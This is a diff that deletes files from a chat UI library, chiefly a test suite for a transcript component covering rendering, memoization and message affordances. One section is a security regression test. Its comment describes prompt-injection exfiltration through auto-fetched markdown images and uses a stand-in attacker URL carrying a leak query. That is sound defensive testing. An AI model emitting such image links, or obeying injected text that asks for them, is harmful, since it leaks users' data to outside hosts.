- package/src/router-tanstack/field.ts +0 -35
- package/src/router-tanstack/multi-search-param-store.test.ts +0 -124
- package/src/router-tanstack/multi-search-param-store.ts +0 -106
- package/src/router-tanstack/nav.test.ts +0 -111
- package/src/router-tanstack/search-param-store.test.ts +0 -135
- package/src/router-tanstack/search-param-store.ts +0 -100
- package/src/router-tanstack/search-store.router.test.tsx +0 -882
- package/src/router-tanstack/search-store.test.ts +0 -578
- package/src/router-tanstack/use-nav.test.tsx +0 -187
- package/src/section/index.ts +0 -1
- package/src/section/section.test.tsx +0 -204
- package/src/section/section.tsx +0 -220
- package/src/shell/app-mobile-nav.test.tsx +0 -403
- package/src/shell/app-sidebar.test.tsx +0 -509
- package/src/shell/index.test.tsx +0 -428
- package/src/shell/mobile-nav-model.test.ts +0 -517
- package/src/shell/page-bar.test.tsx +0 -316
- package/src/state/fields.test.tsx +0 -512
- package/src/state/persisted.test.ts +0 -91
- package/src/styles.floor.test.ts +0 -36
- package/src/theme/border-coverage.test.ts +0 -272
- package/src/theme/contrast.test.ts +0 -354
- package/src/theme/ctl-theme.test.tsx +0 -275
- package/src/theme/ctl-tier-coverage.test.ts +0 -170
- package/src/theme/density-option.test.ts +0 -96
- package/src/theme/density-relations.test.ts +0 -506
- package/src/theme/derive-theme.test.ts +0 -101
- package/src/theme/divider-law.test.ts +0 -259
- package/src/theme/fonts-option.test.ts +0 -75
- package/src/theme/icon-slot.test.tsx +0 -275
- package/src/theme/layout-rhythm-css.test.ts +0 -72
- package/src/theme/radius-option.test.ts +0 -86
- package/src/theme/radius.test.ts +0 -142
- package/src/theme/shadow-surfaces.test.ts +0 -488
- package/src/theme/spacing.test.ts +0 -495
- package/src/theme/use-basalt-spacing.test.tsx +0 -55
- package/src/theme-lab/derive-controls.test.ts +0 -94
- package/src/theme-lab/derive-state.test.ts +0 -71
- package/src/theme-lab/theme-lab.test.ts +0 -46
- package/src/tokens/build-fonts-css.test.ts +0 -52
- package/src/tokens/build-radius-css.test.ts +0 -25
- package/src/tokens/chart-margin.test.ts +0 -39
- package/src/tokens/density.test.ts +0 -259
- package/src/tokens/derive-radius.test.ts +0 -62
- package/src/tokens/derive.test.ts +0 -30
- package/src/tokens/palette.test.ts +0 -114
- package/src/tokens/text-scale.test.ts +0 -51
- package/src/vite-color-mix.test.ts +0 -46
- package/src/vite.test.ts +0 -423
- package/src/widget-header/delta-badge.test.tsx +0 -60
- package/src/widget-header/delta-badge.tsx +0 -57
- package/src/widget-header/index.ts +0 -2
- package/src/widget-header/no-mantine.test.ts +0 -33
- package/src/widget-header/widget-header.test.tsx +0 -187
- package/src/widget-header/widget-header.tsx +0 -213
- /package/dist/{motion/index.js → common/motion.js} +0 -0
- /package/dist/{section → dashboard}/section.module.css.d.ts +0 -0
- /package/dist/{widget-header → dashboard}/widget-header.module.css.d.ts +0 -0
- /package/dist/{connectivity/types.js → provider/connectivity-types.js} +0 -0
- /package/dist/{connectivity → provider}/use-connectivity.js +0 -0
- /package/dist/{nav/types.js → shell/nav-types.js} +0 -0
- /package/src/{motion/index.ts → common/motion.ts} +0 -0
- /package/src/{section → dashboard}/section.module.css.d.ts +0 -0
- /package/src/{widget-header → dashboard}/widget-header.module.css.d.ts +0 -0
|
@@ -1,1285 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* ThreadTranscript — the open part-renderer registry's resolution order, the dev/prod fallback
|
|
3
|
-
* contract, and the `MessageBlock` memoization budget from AGENT-CHAT-SPEC.md §9.
|
|
4
|
-
*
|
|
5
|
-
* `messageBlockRenderCounter` is imported directly from `./thread-message` (bypassing the
|
|
6
|
-
* `agent-chat` barrel on purpose — it is not part of the public surface) to prove the memo
|
|
7
|
-
* boundary in a controlled render-count harness.
|
|
8
|
-
*/
|
|
9
|
-
import { MantineProvider } from '@mantine/core'
|
|
10
|
-
import { cleanup, fireEvent, render, screen, waitFor, within } from '@testing-library/react'
|
|
11
|
-
import { afterEach, beforeEach, describe, expect, mock, spyOn, test } from 'bun:test'
|
|
12
|
-
import { definePartRenderers } from '../agent'
|
|
13
|
-
import type { ChatMessage, TranscriptPart } from '../agent'
|
|
14
|
-
import {
|
|
15
|
-
applyInitialScroll,
|
|
16
|
-
MAX_INITIAL_SCROLL_ATTEMPTS,
|
|
17
|
-
messageBlockRenderCounter,
|
|
18
|
-
nonVirtualizedRowsFallback,
|
|
19
|
-
resolveGuardedMeasurement,
|
|
20
|
-
resolveInitialScrollAction,
|
|
21
|
-
ThreadTranscript,
|
|
22
|
-
} from './thread-message'
|
|
23
|
-
import type { InitialScrollState } from './thread-message'
|
|
24
|
-
|
|
25
|
-
// `nonVirtualizedRowsFallback` is a plain function component but its export name (this module's
|
|
26
|
-
// test-only-escape-hatch convention, matching `messageBlockRenderCounter`) is lowercase-first, so
|
|
27
|
-
// JSX would treat `<nonVirtualizedRowsFallback />` as a native DOM tag rather than a component
|
|
28
|
-
// reference. Alias it to a capitalized local binding for JSX use below.
|
|
29
|
-
const VirtualizeFallback = nonVirtualizedRowsFallback
|
|
30
|
-
|
|
31
|
-
afterEach(cleanup)
|
|
32
|
-
|
|
33
|
-
function withNodeEnv<T>(value: string, fn: () => T): T {
|
|
34
|
-
const original = process.env['NODE_ENV']
|
|
35
|
-
process.env['NODE_ENV'] = value
|
|
36
|
-
try {
|
|
37
|
-
return fn()
|
|
38
|
-
} finally {
|
|
39
|
-
// `original` may be undefined (NODE_ENV unset) — assigning undefined through the index
|
|
40
|
-
// signature isn't valid, so restore by deleting the key instead.
|
|
41
|
-
if (original === undefined) delete process.env['NODE_ENV']
|
|
42
|
-
else process.env['NODE_ENV'] = original
|
|
43
|
-
}
|
|
44
|
-
}
|
|
45
|
-
|
|
46
|
-
function buildMessages(count: number): ChatMessage<TranscriptPart>[] {
|
|
47
|
-
return Array.from({ length: count }, (_, i) => {
|
|
48
|
-
const role: ChatMessage<TranscriptPart>['role'] = i % 2 === 0 ? 'user' : 'assistant'
|
|
49
|
-
return {
|
|
50
|
-
id: `m${i}`,
|
|
51
|
-
role,
|
|
52
|
-
parts: [{ id: `m${i}-p1`, type: 'text', text: `message ${i}` }],
|
|
53
|
-
createdAt: i,
|
|
54
|
-
}
|
|
55
|
-
})
|
|
56
|
-
}
|
|
57
|
-
|
|
58
|
-
/** Stubs `navigator.clipboard.writeText`, returning the array of copied strings. happy-dom does
|
|
59
|
-
* not implement the Clipboard API at all. */
|
|
60
|
-
function stubClipboard(): string[] {
|
|
61
|
-
const calls: string[] = []
|
|
62
|
-
Object.defineProperty(window.navigator, 'clipboard', {
|
|
63
|
-
configurable: true,
|
|
64
|
-
value: {
|
|
65
|
-
writeText: (text: string) => {
|
|
66
|
-
calls.push(text)
|
|
67
|
-
return Promise.resolve()
|
|
68
|
-
},
|
|
69
|
-
},
|
|
70
|
-
})
|
|
71
|
-
return calls
|
|
72
|
-
}
|
|
73
|
-
|
|
74
|
-
describe('resolution order', () => {
|
|
75
|
-
test('a registered consumer renderer wins over the built-in union', () => {
|
|
76
|
-
const renderers = definePartRenderers({
|
|
77
|
-
'data-chart': () => <div data-testid="chart" />,
|
|
78
|
-
})
|
|
79
|
-
const messages: ChatMessage<TranscriptPart>[] = [
|
|
80
|
-
{
|
|
81
|
-
id: 'm1',
|
|
82
|
-
role: 'assistant',
|
|
83
|
-
parts: [{ id: 'p1', type: 'data-chart', spec: {} }],
|
|
84
|
-
createdAt: 0,
|
|
85
|
-
},
|
|
86
|
-
]
|
|
87
|
-
|
|
88
|
-
render(
|
|
89
|
-
<MantineProvider>
|
|
90
|
-
<ThreadTranscript messages={messages} renderers={renderers} />
|
|
91
|
-
</MantineProvider>,
|
|
92
|
-
)
|
|
93
|
-
|
|
94
|
-
expect(screen.getByTestId('chart')).toBeDefined()
|
|
95
|
-
})
|
|
96
|
-
|
|
97
|
-
test('a built-in AgentPart type still routes through PartList when unclaimed by renderers', () => {
|
|
98
|
-
const messages: ChatMessage<TranscriptPart>[] = [
|
|
99
|
-
{
|
|
100
|
-
id: 'm1',
|
|
101
|
-
role: 'assistant',
|
|
102
|
-
parts: [{ id: 'p1', type: 'text', text: 'hello' }],
|
|
103
|
-
createdAt: 0,
|
|
104
|
-
},
|
|
105
|
-
]
|
|
106
|
-
|
|
107
|
-
render(
|
|
108
|
-
<MantineProvider>
|
|
109
|
-
<ThreadTranscript messages={messages} />
|
|
110
|
-
</MantineProvider>,
|
|
111
|
-
)
|
|
112
|
-
|
|
113
|
-
expect(screen.getByText('hello')).toBeDefined()
|
|
114
|
-
})
|
|
115
|
-
})
|
|
116
|
-
|
|
117
|
-
describe('unknown-part fallback — never throws, dev-visible, prod-silent', () => {
|
|
118
|
-
const messages: ChatMessage<TranscriptPart>[] = [
|
|
119
|
-
{
|
|
120
|
-
id: 'm1',
|
|
121
|
-
role: 'assistant',
|
|
122
|
-
parts: [{ id: 'p1', type: 'data-chart', spec: {} }],
|
|
123
|
-
createdAt: 0,
|
|
124
|
-
},
|
|
125
|
-
]
|
|
126
|
-
|
|
127
|
-
test('renders a visible UnknownPartChip outside production', () => {
|
|
128
|
-
withNodeEnv('development', () => {
|
|
129
|
-
expect(() =>
|
|
130
|
-
render(
|
|
131
|
-
<MantineProvider>
|
|
132
|
-
<ThreadTranscript messages={messages} />
|
|
133
|
-
</MantineProvider>,
|
|
134
|
-
),
|
|
135
|
-
).not.toThrow()
|
|
136
|
-
expect(screen.getByText(/Unknown part: data-chart/)).toBeDefined()
|
|
137
|
-
})
|
|
138
|
-
})
|
|
139
|
-
|
|
140
|
-
test('renders nothing in production, and still never throws', () => {
|
|
141
|
-
withNodeEnv('production', () => {
|
|
142
|
-
expect(() =>
|
|
143
|
-
render(
|
|
144
|
-
<MantineProvider>
|
|
145
|
-
<ThreadTranscript messages={messages} />
|
|
146
|
-
</MantineProvider>,
|
|
147
|
-
),
|
|
148
|
-
).not.toThrow()
|
|
149
|
-
expect(screen.queryByText(/Unknown part/)).toBeNull()
|
|
150
|
-
})
|
|
151
|
-
})
|
|
152
|
-
})
|
|
153
|
-
|
|
154
|
-
function messageWithFinish(
|
|
155
|
-
finish: ChatMessage<TranscriptPart>['finish'],
|
|
156
|
-
): ChatMessage<TranscriptPart>[] {
|
|
157
|
-
return [
|
|
158
|
-
{
|
|
159
|
-
id: 'm1',
|
|
160
|
-
role: 'assistant',
|
|
161
|
-
parts: [{ id: 'p1', type: 'text', text: 'hello' }],
|
|
162
|
-
createdAt: 0,
|
|
163
|
-
...(finish === undefined ? {} : { finish }),
|
|
164
|
-
},
|
|
165
|
-
]
|
|
166
|
-
}
|
|
167
|
-
|
|
168
|
-
describe('finish indicator (AGENT-CHAT-SPEC.md §10)', () => {
|
|
169
|
-
test('finish: stopped renders an indicator with accessible text', () => {
|
|
170
|
-
render(
|
|
171
|
-
<MantineProvider>
|
|
172
|
-
<ThreadTranscript messages={messageWithFinish('stopped')} />
|
|
173
|
-
</MantineProvider>,
|
|
174
|
-
)
|
|
175
|
-
|
|
176
|
-
expect(screen.getByText('Stopped')).toBeDefined()
|
|
177
|
-
})
|
|
178
|
-
|
|
179
|
-
test('finish: error renders an indicator with accessible text', () => {
|
|
180
|
-
render(
|
|
181
|
-
<MantineProvider>
|
|
182
|
-
<ThreadTranscript messages={messageWithFinish('error')} />
|
|
183
|
-
</MantineProvider>,
|
|
184
|
-
)
|
|
185
|
-
|
|
186
|
-
expect(screen.getByText('Error')).toBeDefined()
|
|
187
|
-
})
|
|
188
|
-
|
|
189
|
-
test('finish: complete renders no indicator', () => {
|
|
190
|
-
render(
|
|
191
|
-
<MantineProvider>
|
|
192
|
-
<ThreadTranscript messages={messageWithFinish('complete')} />
|
|
193
|
-
</MantineProvider>,
|
|
194
|
-
)
|
|
195
|
-
|
|
196
|
-
expect(screen.queryByText('Stopped')).toBeNull()
|
|
197
|
-
expect(screen.queryByText('Error')).toBeNull()
|
|
198
|
-
expect(screen.queryByText('Complete')).toBeNull()
|
|
199
|
-
})
|
|
200
|
-
|
|
201
|
-
test("finish absent renders no indicator, identical to today's output", () => {
|
|
202
|
-
render(
|
|
203
|
-
<MantineProvider>
|
|
204
|
-
<ThreadTranscript messages={messageWithFinish(undefined)} />
|
|
205
|
-
</MantineProvider>,
|
|
206
|
-
)
|
|
207
|
-
|
|
208
|
-
expect(screen.getByText('hello')).toBeDefined()
|
|
209
|
-
expect(screen.queryByText('Stopped')).toBeNull()
|
|
210
|
-
expect(screen.queryByText('Error')).toBeNull()
|
|
211
|
-
})
|
|
212
|
-
})
|
|
213
|
-
|
|
214
|
-
// ── The settle fix ────────────────────────────────────────────────────────────
|
|
215
|
-
//
|
|
216
|
-
// `TextRenderer` used to hardcode `streaming`, so `Markdown` always ran in block-split mode and its
|
|
217
|
-
// tail block was unconditionally unsettled — a FINISHED message's last block never settled. Two
|
|
218
|
-
// visible symptoms, both asserted below: a trailing ```mermaid fence stayed a CodeBlock forever,
|
|
219
|
-
// and the last block of every finished message permanently hid its copy action.
|
|
220
|
-
|
|
221
|
-
const MERMAID_TAIL = 'intro paragraph\n\n```mermaid\ngraph TD\n A --> B\n```'
|
|
222
|
-
const CODE_TAIL = 'intro paragraph\n\n```notalanguage\nfinal body\n```'
|
|
223
|
-
|
|
224
|
-
function assistantMessage(text: string): ChatMessage<TranscriptPart>[] {
|
|
225
|
-
return [
|
|
226
|
-
{ id: 'm1', role: 'assistant', parts: [{ id: 'm1-p1', type: 'text', text }], createdAt: 0 },
|
|
227
|
-
]
|
|
228
|
-
}
|
|
229
|
-
|
|
230
|
-
describe('settled threading — a finished message settles its FINAL block', () => {
|
|
231
|
-
test('a trailing mermaid fence upgrades out of the CodeBlock', async () => {
|
|
232
|
-
render(
|
|
233
|
-
<MantineProvider>
|
|
234
|
-
<ThreadTranscript messages={assistantMessage(MERMAID_TAIL)} />
|
|
235
|
-
</MantineProvider>,
|
|
236
|
-
)
|
|
237
|
-
|
|
238
|
-
// MermaidDiagram renders the SVG into a role="img" container; the unsettled path renders a
|
|
239
|
-
// plain <pre> instead.
|
|
240
|
-
expect(await screen.findByRole('img')).toBeDefined()
|
|
241
|
-
})
|
|
242
|
-
|
|
243
|
-
test('the final block keeps its copy action', async () => {
|
|
244
|
-
render(
|
|
245
|
-
<MantineProvider>
|
|
246
|
-
<ThreadTranscript messages={assistantMessage(CODE_TAIL)} />
|
|
247
|
-
</MantineProvider>,
|
|
248
|
-
)
|
|
249
|
-
|
|
250
|
-
await screen.findByText('final body')
|
|
251
|
-
expect(screen.getByLabelText('Copy code')).toBeDefined()
|
|
252
|
-
})
|
|
253
|
-
})
|
|
254
|
-
|
|
255
|
-
describe('settled threading — a streaming message leaves its tail unsettled', () => {
|
|
256
|
-
test('the in-flight tail fence stays a copy-less CodeBlock', async () => {
|
|
257
|
-
render(
|
|
258
|
-
<MantineProvider>
|
|
259
|
-
<ThreadTranscript
|
|
260
|
-
messages={[]}
|
|
261
|
-
liveParts={[{ id: 'live-p1', type: 'text', text: MERMAID_TAIL }]}
|
|
262
|
-
liveStatus="streaming"
|
|
263
|
-
/>
|
|
264
|
-
</MantineProvider>,
|
|
265
|
-
)
|
|
266
|
-
|
|
267
|
-
const code = await screen.findByText(/graph TD/)
|
|
268
|
-
expect(code.closest('pre')).not.toBeNull()
|
|
269
|
-
expect(screen.queryByRole('img')).toBeNull()
|
|
270
|
-
expect(screen.queryByLabelText('Copy code')).toBeNull()
|
|
271
|
-
})
|
|
272
|
-
|
|
273
|
-
test('the same message settles once the run stops streaming', async () => {
|
|
274
|
-
const liveParts: TranscriptPart[] = [{ id: 'live-p1', type: 'text', text: MERMAID_TAIL }]
|
|
275
|
-
const { rerender } = render(
|
|
276
|
-
<MantineProvider>
|
|
277
|
-
<ThreadTranscript messages={[]} liveParts={liveParts} liveStatus="streaming" />
|
|
278
|
-
</MantineProvider>,
|
|
279
|
-
)
|
|
280
|
-
|
|
281
|
-
await screen.findByText(/graph TD/)
|
|
282
|
-
expect(screen.queryByRole('img')).toBeNull()
|
|
283
|
-
|
|
284
|
-
// Same `liveParts` reference, only `liveStatus` flips — the `MessageBlock` memo comparator
|
|
285
|
-
// must not swallow this final transition (it compares `streaming` explicitly).
|
|
286
|
-
rerender(
|
|
287
|
-
<MantineProvider>
|
|
288
|
-
<ThreadTranscript messages={[]} liveParts={liveParts} liveStatus="done" />
|
|
289
|
-
</MantineProvider>,
|
|
290
|
-
)
|
|
291
|
-
|
|
292
|
-
expect(await screen.findByRole('img')).toBeDefined()
|
|
293
|
-
})
|
|
294
|
-
})
|
|
295
|
-
|
|
296
|
-
// ── Image exfiltration guard ──────────────────────────────────────────────────
|
|
297
|
-
//
|
|
298
|
-
// THIS IS A SECURITY REGRESSION TEST, NOT A RENDERING TEST. Images auto-fetch, so an off-origin
|
|
299
|
-
// `<img>` in model-generated markdown is a one-way prompt-injection exfiltration channel:
|
|
300
|
-
// `` fires a GET the
|
|
301
|
-
// moment the transcript paints, with no click and nothing visible.
|
|
302
|
-
//
|
|
303
|
-
// The control is `Markdown`'s `contentTrust="untrusted"`, and it has already been lost once. The
|
|
304
|
-
// settle fix above changed `TextRenderer` from a hardcoded `streaming` to `streaming={!settled}`,
|
|
305
|
-
// and at the time `streaming` ALSO selected the image allowlist — so every FINISHED message (i.e.
|
|
306
|
-
// nearly the whole transcript) silently regained the open `https://` default. Trust is a property
|
|
307
|
-
// of WHERE THE TEXT CAME FROM; settledness is a property of when. They must never be the same prop
|
|
308
|
-
// again. The settled case below is the one that regressed.
|
|
309
|
-
|
|
310
|
-
const OFF_ORIGIN_IMAGE = 'https://attacker.example/pixel.png?q=leak'
|
|
311
|
-
const IMAGE_DOC = `\n\n`
|
|
312
|
-
|
|
313
|
-
describe('transcript images — agent text is untrusted whether or not it has settled', () => {
|
|
314
|
-
async function renderTranscript(streamingTurn: boolean) {
|
|
315
|
-
const parts: TranscriptPart[] = [{ id: 'p1', type: 'text', text: IMAGE_DOC }]
|
|
316
|
-
const { container } = render(
|
|
317
|
-
<MantineProvider>
|
|
318
|
-
{streamingTurn ? (
|
|
319
|
-
<ThreadTranscript messages={[]} liveParts={parts} liveStatus="streaming" />
|
|
320
|
-
) : (
|
|
321
|
-
<ThreadTranscript messages={assistantMessage(IMAGE_DOC)} />
|
|
322
|
-
)}
|
|
323
|
-
</MantineProvider>,
|
|
324
|
-
)
|
|
325
|
-
// `findByAltText` only ever matches an <img>, so `Markdown`'s Suspense text fallback cannot
|
|
326
|
-
// satisfy it — this waits for the real pipeline, and its success also proves same-origin
|
|
327
|
-
// images still render (an allowlist, not a blanket image kill).
|
|
328
|
-
await screen.findByAltText('local')
|
|
329
|
-
return container
|
|
330
|
-
}
|
|
331
|
-
|
|
332
|
-
test('a SETTLED assistant message does NOT render an off-origin https image', async () => {
|
|
333
|
-
const container = await renderTranscript(false)
|
|
334
|
-
|
|
335
|
-
expect(screen.getByAltText('local').getAttribute('src')).toBe('/assets/local.png')
|
|
336
|
-
// Dropped whole: no <img> element, and the attacker origin never reaches the DOM at all —
|
|
337
|
-
// not as a src, not as a srcset, not as text.
|
|
338
|
-
expect(screen.queryByAltText('probe')).toBeNull()
|
|
339
|
-
expect(container.querySelector('img[src^="https://"]')).toBeNull()
|
|
340
|
-
expect(container.innerHTML).not.toContain('attacker.example')
|
|
341
|
-
})
|
|
342
|
-
|
|
343
|
-
test('an in-flight assistant turn does not render one either', async () => {
|
|
344
|
-
const container = await renderTranscript(true)
|
|
345
|
-
|
|
346
|
-
expect(container.querySelector('img[src^="https://"]')).toBeNull()
|
|
347
|
-
expect(container.innerHTML).not.toContain('attacker.example')
|
|
348
|
-
})
|
|
349
|
-
})
|
|
350
|
-
|
|
351
|
-
describe('MessageBlock memoization (AGENT-CHAT-SPEC.md §9)', () => {
|
|
352
|
-
test('a streamed delta re-renders exactly one MessageBlock on a 50-message thread', () => {
|
|
353
|
-
const messages = buildMessages(50)
|
|
354
|
-
const { rerender } = render(
|
|
355
|
-
<MantineProvider>
|
|
356
|
-
<ThreadTranscript
|
|
357
|
-
messages={messages}
|
|
358
|
-
liveParts={[{ id: 'live', type: 'text', text: 'a' }]}
|
|
359
|
-
liveStatus="streaming"
|
|
360
|
-
/>
|
|
361
|
-
</MantineProvider>,
|
|
362
|
-
)
|
|
363
|
-
|
|
364
|
-
// Mount executes every MessageBlock once (nothing to bail out against yet) — that is not the
|
|
365
|
-
// measurement. Reset the counter once the initial render has settled.
|
|
366
|
-
messageBlockRenderCounter.count = 0
|
|
367
|
-
|
|
368
|
-
// Same `messages` array reference (unchanged settled history) + a NEW `liveParts` array
|
|
369
|
-
// reference (the streamed delta) — the one prop a delta actually changes.
|
|
370
|
-
rerender(
|
|
371
|
-
<MantineProvider>
|
|
372
|
-
<ThreadTranscript
|
|
373
|
-
messages={messages}
|
|
374
|
-
liveParts={[{ id: 'live', type: 'text', text: 'ab' }]}
|
|
375
|
-
liveStatus="streaming"
|
|
376
|
-
/>
|
|
377
|
-
</MantineProvider>,
|
|
378
|
-
)
|
|
379
|
-
|
|
380
|
-
expect(messageBlockRenderCounter.count).toBe(1)
|
|
381
|
-
})
|
|
382
|
-
|
|
383
|
-
test('flipping `groupConsecutive` re-renders only the messages whose `grouped` value actually flips', () => {
|
|
384
|
-
const t0 = 1_000_000_000
|
|
385
|
-
const messages: ChatMessage<TranscriptPart>[] = [
|
|
386
|
-
// No predecessor — `grouped` is false either way, this block must NOT re-render.
|
|
387
|
-
{ id: 'g0', role: 'user', parts: [{ id: 'g0-p1', type: 'text', text: 'q' }], createdAt: t0 },
|
|
388
|
-
// Different-role predecessor — `grouped` is false either way, must NOT re-render.
|
|
389
|
-
{
|
|
390
|
-
id: 'g1',
|
|
391
|
-
role: 'assistant',
|
|
392
|
-
parts: [{ id: 'g1-p1', type: 'text', text: 'a' }],
|
|
393
|
-
createdAt: t0 + 1_000,
|
|
394
|
-
},
|
|
395
|
-
// Same-role, 1 minute after g1 — `grouped` flips true -> false. The ONLY block that must
|
|
396
|
-
// re-render.
|
|
397
|
-
{
|
|
398
|
-
id: 'g2',
|
|
399
|
-
role: 'assistant',
|
|
400
|
-
parts: [{ id: 'g2-p1', type: 'text', text: 'b' }],
|
|
401
|
-
createdAt: t0 + 60_000,
|
|
402
|
-
},
|
|
403
|
-
]
|
|
404
|
-
|
|
405
|
-
const { rerender } = render(
|
|
406
|
-
<MantineProvider>
|
|
407
|
-
<ThreadTranscript messages={messages} groupConsecutive />
|
|
408
|
-
</MantineProvider>,
|
|
409
|
-
)
|
|
410
|
-
messageBlockRenderCounter.count = 0
|
|
411
|
-
|
|
412
|
-
// Same `messages` array + every message object reference unchanged — only the boolean prop
|
|
413
|
-
// flips.
|
|
414
|
-
rerender(
|
|
415
|
-
<MantineProvider>
|
|
416
|
-
<ThreadTranscript messages={messages} groupConsecutive={false} />
|
|
417
|
-
</MantineProvider>,
|
|
418
|
-
)
|
|
419
|
-
|
|
420
|
-
expect(messageBlockRenderCounter.count).toBe(1)
|
|
421
|
-
})
|
|
422
|
-
|
|
423
|
-
test('a consumer passing a fresh `affordances` object literal each render does not force a re-render', () => {
|
|
424
|
-
const messages = buildMessages(10)
|
|
425
|
-
const { rerender } = render(
|
|
426
|
-
<MantineProvider>
|
|
427
|
-
<ThreadTranscript messages={messages} affordances={{ timestamp: 'relative', copy: true }} />
|
|
428
|
-
</MantineProvider>,
|
|
429
|
-
)
|
|
430
|
-
messageBlockRenderCounter.count = 0
|
|
431
|
-
|
|
432
|
-
// A BRAND NEW object literal, same field values, same `messages` reference — nothing has
|
|
433
|
-
// actually changed from any consumer's point of view.
|
|
434
|
-
rerender(
|
|
435
|
-
<MantineProvider>
|
|
436
|
-
<ThreadTranscript messages={messages} affordances={{ timestamp: 'relative', copy: true }} />
|
|
437
|
-
</MantineProvider>,
|
|
438
|
-
)
|
|
439
|
-
|
|
440
|
-
expect(messageBlockRenderCounter.count).toBe(0)
|
|
441
|
-
})
|
|
442
|
-
})
|
|
443
|
-
|
|
444
|
-
function singleMessage(createdAt: number): ChatMessage<TranscriptPart>[] {
|
|
445
|
-
return [
|
|
446
|
-
{
|
|
447
|
-
id: 'aff1',
|
|
448
|
-
role: 'assistant',
|
|
449
|
-
parts: [{ id: 'aff1-p1', type: 'text', text: 'hello there' }],
|
|
450
|
-
createdAt,
|
|
451
|
-
},
|
|
452
|
-
]
|
|
453
|
-
}
|
|
454
|
-
|
|
455
|
-
/** Stands in for a consumer's own `useCallback`-wrapped `actions` — see the memo-bail-out test. */
|
|
456
|
-
const STABLE_ACTIONS = (): null => null
|
|
457
|
-
|
|
458
|
-
describe('per-message affordances (AGENT-CHAT-SPEC.md §11)', () => {
|
|
459
|
-
test('timestamp: relative (the default) renders a relative label', () => {
|
|
460
|
-
render(
|
|
461
|
-
<MantineProvider>
|
|
462
|
-
<ThreadTranscript messages={singleMessage(Date.now() - 5 * 60_000)} />
|
|
463
|
-
</MantineProvider>,
|
|
464
|
-
)
|
|
465
|
-
|
|
466
|
-
expect(within(screen.getByTestId('message-affordances-aff1')).getByText(/ago/)).toBeDefined()
|
|
467
|
-
})
|
|
468
|
-
|
|
469
|
-
test('timestamp: absolute renders a locale date/time string, not a relative one', () => {
|
|
470
|
-
const createdAt = new Date('2024-01-01T12:00:00Z').getTime()
|
|
471
|
-
render(
|
|
472
|
-
<MantineProvider>
|
|
473
|
-
<ThreadTranscript
|
|
474
|
-
messages={singleMessage(createdAt)}
|
|
475
|
-
affordances={{ timestamp: 'absolute' }}
|
|
476
|
-
/>
|
|
477
|
-
</MantineProvider>,
|
|
478
|
-
)
|
|
479
|
-
|
|
480
|
-
const row = within(screen.getByTestId('message-affordances-aff1'))
|
|
481
|
-
expect(row.getByText(new Date(createdAt).toLocaleString())).toBeDefined()
|
|
482
|
-
expect(row.queryByText(/ago/)).toBeNull()
|
|
483
|
-
})
|
|
484
|
-
|
|
485
|
-
test('timestamp: none renders no timestamp text at all', () => {
|
|
486
|
-
render(
|
|
487
|
-
<MantineProvider>
|
|
488
|
-
<ThreadTranscript
|
|
489
|
-
messages={singleMessage(Date.now())}
|
|
490
|
-
affordances={{ timestamp: 'none' }}
|
|
491
|
-
/>
|
|
492
|
-
</MantineProvider>,
|
|
493
|
-
)
|
|
494
|
-
|
|
495
|
-
expect(within(screen.getByTestId('message-affordances-aff1')).queryByText(/ago/)).toBeNull()
|
|
496
|
-
})
|
|
497
|
-
|
|
498
|
-
test('copy copies the message COALESCED text, not a naive join of the raw parts', async () => {
|
|
499
|
-
const calls = stubClipboard()
|
|
500
|
-
const messages: ChatMessage<TranscriptPart>[] = [
|
|
501
|
-
{
|
|
502
|
-
id: 'aff2',
|
|
503
|
-
role: 'assistant',
|
|
504
|
-
parts: [
|
|
505
|
-
{ id: 'p1', type: 'text', text: 'Hello' },
|
|
506
|
-
// A source part splits the run — a non-text part sitting between two text parts. Naive
|
|
507
|
-
// `parts.map(p => p.text).join('')` would blow up on `.text` not existing here; the
|
|
508
|
-
// coalesced-segment walk skips it and joins the two text runs with a blank line.
|
|
509
|
-
{ id: 'p2', type: 'source', url: 'https://example.com' },
|
|
510
|
-
{ id: 'p3', type: 'text', text: 'World' },
|
|
511
|
-
],
|
|
512
|
-
createdAt: Date.now(),
|
|
513
|
-
},
|
|
514
|
-
]
|
|
515
|
-
|
|
516
|
-
render(
|
|
517
|
-
<MantineProvider>
|
|
518
|
-
<ThreadTranscript messages={messages} />
|
|
519
|
-
</MantineProvider>,
|
|
520
|
-
)
|
|
521
|
-
|
|
522
|
-
fireEvent.click(screen.getByLabelText('Copy message'))
|
|
523
|
-
|
|
524
|
-
await waitFor(() => expect(calls).toEqual(['Hello\n\nWorld']))
|
|
525
|
-
})
|
|
526
|
-
|
|
527
|
-
test('regenerate appears on the LAST assistant message only, and calls back with its id', () => {
|
|
528
|
-
const calls: string[] = []
|
|
529
|
-
const now = Date.now()
|
|
530
|
-
const messages: ChatMessage<TranscriptPart>[] = [
|
|
531
|
-
{ id: 'u1', role: 'user', parts: [{ id: 'u1-p1', type: 'text', text: 'q' }], createdAt: now },
|
|
532
|
-
{
|
|
533
|
-
id: 'a1',
|
|
534
|
-
role: 'assistant',
|
|
535
|
-
parts: [{ id: 'a1-p1', type: 'text', text: 'first reply' }],
|
|
536
|
-
createdAt: now + 1_000,
|
|
537
|
-
},
|
|
538
|
-
{
|
|
539
|
-
id: 'u2',
|
|
540
|
-
role: 'user',
|
|
541
|
-
parts: [{ id: 'u2-p1', type: 'text', text: 'q2' }],
|
|
542
|
-
createdAt: now + 2_000,
|
|
543
|
-
},
|
|
544
|
-
{
|
|
545
|
-
id: 'a2',
|
|
546
|
-
role: 'assistant',
|
|
547
|
-
parts: [{ id: 'a2-p1', type: 'text', text: 'second reply' }],
|
|
548
|
-
createdAt: now + 3_000,
|
|
549
|
-
},
|
|
550
|
-
]
|
|
551
|
-
|
|
552
|
-
render(
|
|
553
|
-
<MantineProvider>
|
|
554
|
-
<ThreadTranscript
|
|
555
|
-
messages={messages}
|
|
556
|
-
affordances={{ onRegenerate: (messageId) => calls.push(messageId) }}
|
|
557
|
-
/>
|
|
558
|
-
</MantineProvider>,
|
|
559
|
-
)
|
|
560
|
-
|
|
561
|
-
expect(screen.getAllByText('Regenerate')).toHaveLength(1)
|
|
562
|
-
const lastRow = within(screen.getByTestId('message-affordances-a2'))
|
|
563
|
-
fireEvent.click(lastRow.getByText('Regenerate'))
|
|
564
|
-
expect(calls).toEqual(['a2'])
|
|
565
|
-
})
|
|
566
|
-
|
|
567
|
-
test('custom actions render alongside the built-in affordances, on every message', () => {
|
|
568
|
-
render(
|
|
569
|
-
<MantineProvider>
|
|
570
|
-
<ThreadTranscript
|
|
571
|
-
messages={singleMessage(Date.now())}
|
|
